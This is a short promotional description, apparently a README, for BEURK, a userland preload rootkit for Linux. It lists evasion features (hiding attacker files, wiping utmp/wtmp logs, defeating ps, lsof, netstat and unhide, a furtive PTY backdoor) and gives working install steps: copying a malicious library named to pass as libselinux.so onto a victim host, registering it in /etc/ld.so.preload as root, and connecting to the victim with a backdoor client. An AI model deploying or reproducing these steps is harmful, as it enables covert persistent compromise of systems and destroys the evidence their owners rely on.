BEURK is a userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
Features:
- Hide attacker files and directories
- Realtime log cleanup (on utmp/wtmp)
- Anti process and login detection
- Bypass unhide, lsof, ps, ldd, netstat analysis
- Furtive PTY backdoor client
Usage:
- Compile
git clone https://github.com/unix-thrust/beurk.git cd beurk make
- Install
scp libselinux.so [email protected]:/lib/ ssh [email protected] 'echo /lib/libselinux.so >> /etc/ld.so.preload'
- Run
./client.py victim_ip:port # connect with furtive backdoor
